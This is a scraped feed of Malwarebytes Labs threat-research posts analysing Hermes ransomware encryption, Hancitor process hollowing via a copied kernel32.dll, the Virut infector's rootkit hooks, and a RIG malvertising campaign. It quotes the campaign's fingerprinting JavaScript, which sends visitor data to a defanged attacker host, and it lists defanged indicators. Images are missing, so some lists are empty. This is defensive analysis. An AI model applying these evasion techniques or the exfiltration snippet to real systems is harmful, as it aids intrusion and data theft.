mat otg ovp ovr pcs pfv pl plt vrml pobj psid rdl scv sk1 sk2 ssk stn svf svgz sxd tlc tne ufr vbr vec vml vsd vsdm vsdx vstm stm vstx wpg vsm xar yal orf ota oti ozb ozj ozt pal pano pap pbm pc1 pc2 pc3 pcd pdd pe4 pef pfi pgf pgm pi1 pi2 pi3 pic pict pix pjpg pm pmg pni pnm pntg pop pp4 pp5 ppm prw psdx pse psp ptg ptx pvr px pxr pz3 pza pzp pzs z3d qmg ras rcu rgb rgf ric riff rix rle rli rpf rri rs rsb rsr rw2 rwl s2mv sci sep sfc sfw skm sld sob spa spe sph spj spp sr2 srw ste sumo sva save ssfn t2b tb0 tbn tfc tg4 thm tjp tm2 tn tpi ufo uga vda vff vpe vst wb1 wbc wbd wbm wbmp wbz wdp webp wpb wpe wvl x3f y ysp zif cdr4 cdr6 cdrw ddoc css pptm raw cpt pcx pdn png psd tga tiff tif xpm ps sai wmf ani flc fb3 fli mng smil svg mobi swf html csv xhtm dat


Hermes, like many other ransomware, uses AES along with RSA for the encryption. AES is used to encrypt files with a random key. RSA is used to protect the random AES key.

The ransomware uses two RSA key pairs, one being a RSA hardcoded public key for the attackers.

Then, there is a keypair for the victim. It is generated at the beginning of the attack. The private key from this key pair is encrypted by the attackers’ public key and stored in the file UNIQUE_ID_DO_NOT_REMOVE.

When the victim sends this file, the attackers can recover the victim’s private key with the help of their own private key. The victim’s public key is stored in PUBLIC in clear text. It is later used to encrypt random AES keys, generated per file.

Cryptography is implemented with the help of Windows Crypto API. Function calls are mildly obfuscated, and pointers to the functions are manually loaded.

Each file processing starts from checking if it was already encrypted. The ransomware uses the saved marker “HERMES” that we already saw during the behavioral analysis. The marker is stored at the end of the file, before the block where the AES key is saved. Its offset is 274 bytes from the end. So, first the file pointer is set at this position to make a check of the characters.

If the marker was found, the file is skipped. Otherwise, it is processed further. As we noticed during the behavioral analysis, each file is encrypted with a new key. Looking at the code, we can find the responsible function. Unfortunately for the victims, the authors used the secure function CryptGenKey:

The used identifier for the algorithm is 0x6610 (CALG_AES_256). That means 256-bit is using AES encryption. This key is used to encrypt the content of the file. The file is read and encrypted in chunks, with 1,000,000 bytes each.

At the end, the marker “HERMES” is written and the exported AES key is saved:

The handle to the attacker’s RSA public key is passed, so the function CryptExportKey automatically takes care of protecting the AES key. Only the owner of the RSA private key will be able to import it back.


Malwarebytes users are  protected against this Flash Player exploit. In addition, the ransomware payload was blocked at zero-hour strictly based on its malicious behaviour.


Another campaign that we know of targeting South Koreans specifically is carried by malvertising and uses the Magnitude exploit kit, which also delivers ransomware—namely Magniber. That particular infection chain goes to great lengths to only infect this particular demographic, via geo-aware traffic redirection and language checks within the malware code itself.

After analyzing the sample, we found it to be a fully functional ransomware. However, we cannot be sure what the real motivations of the distributors were. Looking at the full context, we may suspect that it was politically motivated rather than a profit-driven attack.

Although the infection vector appeared to narrow down to South Korea, the malware itself, unlike Magniber, does not specifically target these users. The fact that the ransomware excludes certain countries like Russia or Ukraine could tie the development and outsourcing of the malware to these areas or be a false flag. As we know, attribution is always a complex topic.

Indicators of compromise

Domains involved in campaign:

  • 2018-02-27 (01:54 UTC)
    • staradvertsment[.]com
    • hunting.bannerexposure[.]info
  • 2018-02-28
    • staradvertsment[.]com
    • accompanied.bannerexposure[.]info
  • 2018-03-01
    • switzerland.innovativebanner[.]info
  • 2018-03-07
    • name.secondadvertisements[.]com
  • 2018-03-08
    • assessed.secondadvertisements[.]com
    • marketing.roadadvertisements[.]com
  • 2018-03-09
    • bannerssale[.]com
    • aquaadvertisement[.]com
    • technologies.roadadvertisements[.]com

IP addresses:

  • 159.65.131[.]94
  • 159.65.131[.]94
  • 207.148.104[.]5

Hermes 2.1 ransomware:

  • A5A0964B1308FDB0AEB8BD5B2A0F306C99997C7C076D66EB3EBCDD68405B1DA2
  • pretty040782@gmail[.]com
  • pretty040782@keemail[.]me

The post Hermes ransomware distributed to South Koreans via recent Flash zero-day appeared first on Malwarebytes Labs.

Go to Source
Author: Malwarebytes Labs

Hancitor: fileless attack with a kernel trick

This article was authored by David Sánchez, Mickaël Roger, and Jérôme Segura

During the past few years, malicious spam campaigns have proven to be one of the most efficient infection vectors, in part due to a combination of social engineering and a regular number of Office vulnerabilities.

The interesting aspect about social engineering is that it capitalizes on the user’s poor decision to execute code that would have been much harder to inject, or that could have been caught by security solutions otherwise. In other words, letting victims do the work remains an effective means for attackers to compromise endpoints.

We recently came across an interesting attack vector brought to us courtesy of a fresh Hancitor (a payload delivery piece of malware) spam run where users are tricked to download a fake Paypal invoice laced with malicious code.

Hancitor has had a clever delivery mechanism that allows for fileless infections. A blog post from Morphisec in 2016 already detailed a technique via process hollowing that allowed it to bypass security products.

While this latest attack also shares the same process hollowing technique, it performs different actions to subvert hook protections, and ultimately results in infections that are harder to detect.


The attack involves making a copy of the kernel32.dll library, which exposes some of the most important Windows APIs, in order to create a new malicious process via this innocuous copy. As we will see, this simple trick bypasses Ring 3 hook protections.

Technical analysis

The Word macro decodes the first stage of the payload and then calls the NtAllocateVirtualMemory API to copy the decoded code to a newly allocated memory area. Then, the macro takes the pointer to that code and calls the CreateTimerQueueTimer API so that the malicious code will be executed directly in memory.

By setting a breakpoint there, we can catch the payload before it executes:

The payload then gets the address of the ntdll.ldrLoadDll API and calls it to get the handle of the kernel32.dll and psapi.dll libraries, the latter being used to obtain information on the status of processes and drivers.

It then finds the addresses of the following APIs:

  • dll->ExpandEnvironmentStrings
  • dll->GetMappedFileNameA
  • kernel32!VirtualQuery
  • kernel32!lstrcmpA
  • kernel32!VirtualAlloc

kernel32!VirtualAlloc is used to allocate a new area in memory; after some decoding operations, we can see that the payload is indeed a PE file residing in memory:

Now, the payload looks for other APIs:

  • ntdll!ZwUnMapViewOfSection
  • kernel32!VirtualAllocEx
  • kernel32!ResumeThread
  • kernel32!WriteProcessMemory
  • kernel32!Wow64SetThreadContext
  • kernel32!Wow64GetThreadContext
  • kernel32!IsWow64Process

After some operating system checks, it calls the kernel32! ExandEnvironmentStringsW API to get the path of the svchost.exe process.

This is followed by a lookup of these APIs:

  • CreateProcessW
  • CopyFileExW
  • LoadLibaryW
  • GetModuleFileNameW

After finding those API functions it calls the kernel32!ExandEnvironmentStringsW API to get the path of the %temp%krnl32.dll string. This is used to call the kernel32.CopyFileExW API so that a copy of the original kernel32.dll file can be made in the current user’s temporary folder.

This operation is key to understanding the user-land monitoring evasion attempt that the malware authors planned. krnl32.dll is loaded into memory by calling kernel32.LoadLibraryW. Then the payload uses the krnl32.CreateProcessW API instead of calling kernel32.dll as one would have expected.

The payload creates a suspended svchost.exe process as shown below:

Eventually, it calls the ntll.ZwUnmapViewOfSection API to unmap the view of a section from the suspended svchost.exe process’ virtual address at 0x400000. Then it calls WriteProcessMemory of the real kernel32.dll library to copy the content of the malware into the real svchost.exe process’ memory.

Finally, it calls to the WriteProcessMemory API to overwrite other areas of the suspended svchost process and eventually resumes the process (process hollowing trick). At this point, the malware is running and the system has been fully compromised.


Malwarebytes protects users running the latest versions of the Windows operating system and Microsoft Office from this new technique via its signature-less anti-exploit engine. We are working on releasing a patch to cover particular scenarios on older systems where only our web protection module would currently mitigate this attack.


This is another fileless attack that uses a neat trick to create a new process from a copy of the legitimate kernel32.dll library. It does this to avoid user-land hooking technologies, followed by a process hollowing technique to run the malware code.

It’s interesting to note that this technique still relies on user interaction to begin with, as most malspam attacks do these days. Once the attack has been initiated, the malware authors are in full control and can throw a variety of methods at the system to attempt to bypass its defenses.

Indicators of compromise

Hancitor payloads:


Domains and IPs:



The post Hancitor: fileless attack with a kernel trick appeared first on Malwarebytes Labs.

Go to Source
Author: Malwarebytes Labs

Blast from the past: stowaway Virut delivered with Chinese DDoS bot

Recently, we described an unusual Chinese drive-by attack that was delivering a variant of the Avzhan DDoS bot. The attack also contained multiple components that were not-so-new. Among the exploits, the newest was from 2016. Avzhan is also not a recent malware—the compilation timestamp of the unpacked payload was from August 2015. But there was one more unusual thing that triggered our attention. The outer layer of Avzhan matched the signatures of Virut, a malware that’s been dead in the water since 2013.

At first, it was hard to believe this detection. Who would want to distribute such an old piece of malware that is no longer developed, and whose CnC servers were sinkholed long ago by Polish CERT? Maybe it was the author of the packer by which the DDoS bot was wrapped incorporating some Virut-like obfuscation?

After further research, it turned out the detection was not wrong. The Avzhan bot carried along with it a legitimate Virut. But it is unlikely that the distributors added it intentionally. Rather, the server from where the attack was deployed happened to be infected with Virut. The virus attached as a parasite to the distributed DDoS malware, and was dropped with the drive-by attack into new places. Interestingly, in 2016 Virut’s code was also found in Chinese cameras. Similarly, the computers of developers were infected with Virut, and by this way its code got passed further.

Since Virut has made this unexpected reappearance, will will have a look at how it works in this post.

Analyzed sample

05749f08ebd9762511c6da92481e87d8 – the main sample, dropped by the exploit

Behavioral analysis

Virut behaves like a typical, old-fashioned infectious virus. As we observed, samples infected by Virut always crashed on 64-bit systems.

However, when deployed in a 32-bit environment, Virut spread like fire, trying to infect all executables it could reach by attaching its own code. The code of Virut is polymorphic and designed with a great care, so the infection patterns are not easy to grasp. Often (if there is enough space), Virut adds a new, empty section with a random name, for example:

If there is no space for a new header in the input file, this step is omitted. So, the absence of the added section does not guarantee that the file is clean. Another suspicious indicator may be that the last section is set to RWX (Read-Write-eXecute).

Virut changes sizes of the sections and the entry point of the application in order to redirect to its own code. After the malicious code is deployed, the original entry point is executed. So, from the user’s point of view, the infected application works as before.

In addition to infecting files on the disk, Virut attacks running processes as well. So, even if the first infected process was killed, the malicious code keeps running in the memory.

The malware uses some hardcoded CnC addresses, as well as a DGA (Domain Generation Algorithm). Looking at the network traffic, we can see the queries to the domains follow the pattern of using six letters before the dot com: 6{a-z}.com

Due to the fact that the full infrastructure of Virut was sinkholed, none of its CnC servers are active.


Infection patterns

As mentioned before, Virut’s code can mutate—each infection looks different. Some of the chosen patterns depend on the features of the input.

In PE files, each section must be aligned to the minimal unit that is indicated by a file alignment field in the PE header. This is why sometimes between one PE section and the other there is an empty space, filled only with padding. This empty space is called the cave. Old infectors often used this space to implant their own code. This is what Virut also tries to do.

In the example below, a cave after the .text section has been filled with malicious code:

Depending on the input, there may not be sufficient caves between sections. Then, Virut adds its code just at the end of the last section:

But this is not the only thing that impacts the features of the infection. The code generated by Virut is polymorphic, so the same file will not be infected twice in the same way. Below is a comparison of code from the same application, infected by Virut in two different runs:

Virut’s shellcode

The code appended to the infected files makes an initial stub that unpacks in the memory of Virut’s shellcode. That is a heart of the malware. This is how the unpacked shellcode looks:

The same code is also injected into other processes. It is implanted in a new page in the memory. Example:

The shellcode contains the functionality of a userland rootkit. It hooks NTDLL within every infected process so that each time the specific function is called, the execution is redirected first to Virut’s implant. There are seven functions that are hooked:

  1. NtCreateFile
  2. NtCreateProcess
  3. NtCreateProcessEx
  4. NtCreateUserProcess
  5. NtDeviceIoControlFile
  6. NtOpenFile
  7. NtQueryInformationProcess

Below you can see an example of the hooked function NtCreateFile. As you can see, the first instruction is a call to the malicious memory page:

And this is how the code looks that is being called:

We also find the lists of AV products, that Virut uses in order to check if it is running in the controlled environment:

Apart from the rootkit, it contains the code responsible for communication with the CnC. For example, among the embedded strings we found IRC commands that suggest that IRC was part of Virut’s communication:

List of command patterns:

NICK nrmbhoz
JOIN #.%d
DSTAMP %s%02d%02d

There are also hardcoded addresses of the CnCs. Two servers are static and always occur in Virut samples (both of them are sinkholed by Polish CERT):

But, we can also see the domains generated by the Virut’s DGA:

While the code infecting the file mutates, the injected shellcode has a pretty consistent structure. If we compare dumps from two different processes, we find that most of the code is the same.


Nowadays, such old viruses are mostly forgotten, but it doesn’t mean that we are fully safe from them. Fortunately, most AV products can detect viruses like Virut by their signatures – but the people who decided not to use AV may still become their victims.

Even their command-and-controll infrastructure is dead, the old infectors can roam around. There are old servers in the world that are left infected with old viruses, such as Virut or MyDoom. On our honeypots, we regularly get spam that is being sent from such abandoned bots.

Yet, it is unusual to encounter an old virus in wild sent by a modern-style drive-by attack. We never know how an old threat can get blended with a new one. This time we were lucky and the attack was simple, with a small reach.

Malwarebytes detects Virut as Trojan.Bayrob.


The post Blast from the past: stowaway Virut delivered with Chinese DDoS bot appeared first on Malwarebytes Labs.

Go to Source
Author: hasherezade

New RIG malvertising campaign uses cryptocurrency theme as decoy

For a couple of weeks, we have been observing a malvertising campaign that uses decoy websites to redirect users to the RIG exploit kit. Those sites, whose theme is about cryptocurrencies, were all registered recently and are swapped after a few days of use.

The initial redirection starts off from a malvertising redirect, which loads the decoy page containing a third-party JavaScript. The JavaScript appears to be conditionally loaded based on the visitor’s user agent and geolocation.

That JavaScript contains many different ways to fingerprint users and determine whether they are legitimate or not by validating some checks:

  • getHasLiedLanguages
  • getHasLiedResolution
  • getHasLiedOS
  • getHasLiedBrowser

The results are then sent back to the server with the following code snippet:

//botDetect.onUser(function () {
var fp = new Fingerprint2();
fp.get(function(result, components) {
 var head = document.head || document.getElementsByTagName('head')[0];
 var script = document.createElement('script');
 script.type = 'text/javascript';
 script.src = 'http://binaryrobotplus[.]top/rrr/' + result;
 iframePost('http://binaryrobotplus[.]top/logs/fff', {
 fingerprintjs: JSON.stringify(components)

The final step consists of a response with a blurb containing an iframe to RIG EK:

Elusive campaign

So far, we have not collected many hits via this campaign. Because it was new to us, we decided to call Coins LTD, based on the numerous references to cryptocurrencies in the decoy page. The redirection mechanism is identical from infection to infection, and so far we have collected only two kinds of payloads: TrickBot and Ramnit.

Other researchers, such as Baber Pervez, have caught this redirection chain as well, which recently slightly changed its URI pattern. However, the same primary domain and secondary one (JS fingerprint) have been rotating and are hosted on two distinct IP addresses, as per the diagram below:

This is one of a handful of malvertising campaigns that we have been tracking. It’s worth noting how it also has similar filtering steps to avoid bots, and that it relies on a decoy gate, which seems to be a common practice these days.

We will keep tabs on this campaign—in particular on what payloads it drops in the future. Malwarebytes users are protected from this drive-by attack.

Indicators of compromise









The post New RIG malvertising campaign uses cryptocurrency theme as decoy appeared first on Malwarebytes Labs.

Go to Source
Author: Jérôme Segura